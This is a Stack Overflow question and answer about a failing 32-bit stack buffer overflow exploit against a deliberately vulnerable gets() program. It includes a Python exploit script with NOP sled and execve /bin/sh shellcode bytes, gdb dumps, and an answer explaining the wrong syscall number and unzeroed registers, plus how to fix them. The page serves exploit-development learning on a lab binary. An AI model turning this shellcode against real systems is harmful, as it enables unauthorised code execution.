Tom Riddle
Tom Riddle

Reputation: 93

Illegal Instruction when trying to get shell from a simple stackoverflow

I'm trying to exploit the stack overflow vulnerability to get a shell. When i tried to run it, It shows illegal hardware instruction after executing the shellcode instead of giving a shell(error appears after int x80(syscall to give shell)).

Source code :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

compiled with no stack cookie,nx disabled and aslr is off

Disassembly:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x080483c4 <+0>: push   ebp
   0x080483c5 <+1>: mov    ebp,esp
   0x080483c7 <+3>: and    esp,0xfffffff0
   0x080483ca <+6>: sub    esp,0x50
   0x080483cd <+9>: lea    eax,[esp+0x10]
   0x080483d1 <+13>:    mov    DWORD PTR [esp],eax
   0x080483d4 <+16>:    call   0x80482e8 <gets@plt>
   0x080483d9 <+21>:    leave  
   0x080483da <+22>:    ret    
End of assembler dump.

Stack after break point at 0x080483da(at ret instruction in above snippet) :

0000| 0xffffce6c --> 0xffffce76 --> 0x90909090 
0004| 0xffffce70 --> 0x90909090 
0008| 0xffffce74 --> 0x90909090 
0012| 0xffffce78 --> 0x90909090 
0016| 0xffffce7c --> 0x90909090 
0020| 0xffffce80 --> 0x90909090 
0024| 0xffffce84 --> 0x6850c031 
0028| 0xffffce88 ("//shh/bin\211\343PTS\260"...)

My Exploit Code:

#!/usr/bin/python

import struct

buff = "A"*76                                   # filled with A
return_address = struct.pack("I",0xffffce76)    # eip jumps on the nop slide(I've verified it)
nops = "\x90"*20
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
# shellcode is taken from http://shell-storm.org/shellcode/files/shellcode-749.php
print buff+return_address+nops+shellcode

shellcode in expanded form:

%define SYS_EXECV 59    
section .text

    global _start

    _start:
       xor eax, eax

       push eax

       push '//sh'
       push '/bin'

       mov ebx, esp

       push eax
       push esp
       push ebx
       mov al, SYS_EXECV
       push eax
       int 0x80

Dump after interrupt instruction:

 0xffffce8f:    add    BYTE PTR [eax],al
       0xffffce91:  mov    ebx,esp
       0xffffce93:  push   eax
       0xffffce94:  push   esp
       0xffffce95:  push   ebx
       0xffffce96:  mov    al,0x3b
       0xffffce98:  push   eax
       0xffffce99:  int    0x80
    => 0xffffce9b:  add    BYTE PTR [eax],al
       0xffffce9d:  adc    bl,bh
       0xffffce9f:  test   DWORD PTR [eax],0x7e000000
       0xffffcea5:  jmp    0x1b81:0xe46e26f6
       0xffffceac:  add    BYTE PTR [eax],al
       0xffffceae:  add    BYTE PTR [eax],al
       0xffffceb0:  add    BYTE PTR [eax],al
       0xffffceb2:  add    BYTE PTR [eax],al
       0xffffceb4:  add    BYTE PTR [eax],al
       0xffffceb6:  add    BYTE PTR [eax],al
       0xffffceb8:  add    DWORD PTR [eax],eax
       0xffffceba:  add    BYTE PTR [eax],al
       0xffffcebc:  adc    BYTE PTR [ebx+0x804],al
       0xffffcec2:  add    BYTE PTR [eax],al
       0xffffcec4:  xor    al,ah
       0xffffcec6:  (bad)  
       0xffffcec7:  mul    DWORD PTR [eax+0xf7fe88]
       0xffffcecd:  sar    bh,1
       0xffffcecf:  test   DWORD PTR [ecx],0x10000000
       0xffffced5:  add    DWORD PTR [eax+ecx*1],0x0
       0xffffced9:  add    BYTE PTR [eax],al
       0xffffcedb:  add    BYTE PTR [ecx],dh
       0xffffcedd:  add    DWORD PTR [eax+ecx*1],0xffffffc4
       0xffffcee1:  add    DWORD PTR [eax+ecx*1],0x1
       0xffffcee5:  add    BYTE PTR [eax],al
       0xffffcee7:  add    BYTE PTR [edi+ecx*8],al
       0xffffceea:  (bad)  
       0xffffceeb:  push   eax
       0xffffceed:  add    DWORD PTR [eax+ecx*1],0xffffffe0
       0xffffcef1:  add    DWORD PTR [eax+ecx*1],0xffffffa0
       0xffffcef5:  mov    dh,bh
       0xffffcef7:  idiv   esp
       0xffffcef9:  into   
       0xffffcefa:  (bad)  
       0xffffcefb:  call   FWORD PTR [eax]
       0xffffcefd:  fcos   
       0xffffceff:  test   DWORD PTR [ecx],0x7000000

Registers:

EAX  0x0
 EBX  0xffffce64 ◂— 'Linux'
 ECX  0xf7fb15a0 (_IO_2_1_stdin_) ◂— mov    byte ptr [eax], ah /* 0xfbad2088 */
 EDX  0xf7fb287c (_IO_stdfile_0_lock) ◂— 0
 EDI  0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 ESI  0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 EBP  0x41414141 ('AAAA')
 ESP  0xffffce54 ◂— 0x3b /* ';' */
*EIP  0xffffce9b ◂— 0xfb100000

Upvotes: 2

Views: 4095

Answers (1)

Peter Cordes
Peter Cordes

Reputation: 364049

%define SYS_EXECV 59: no, that's __NR_oldolduname in unistd_32.h (which is the one that applies for int 0x80). __NR_execve is 59 for the x86-64 syscall ABI. (unistd_64.h). What are the calling conventions for UNIX & Linux system calls on i386 and x86-64.

You also didn't pass anything for the 2nd two args of execve(const char *filename, char *const argv[], char *const envp[]). ECX and EDX were probably non-zero but not valid pointers, so sys_execve would have returned -EFAULT.

Your register dump shows EAX=0 because you made the wrong system call. oldolduname (eax=59/int 0x80) is presumably an old version of uname, so it stored an old version of struct utsname on the stack, in the memory buffer pointed to by ebx. And it did so successfully, so it returned 0 in EAX.


Use strace to see what system calls your code makes.


Your code might work if you add xor ecx,ecx and xor edx,edx, and change the system call number to 11 for sys_execve.

Upvotes: 2

Related Questions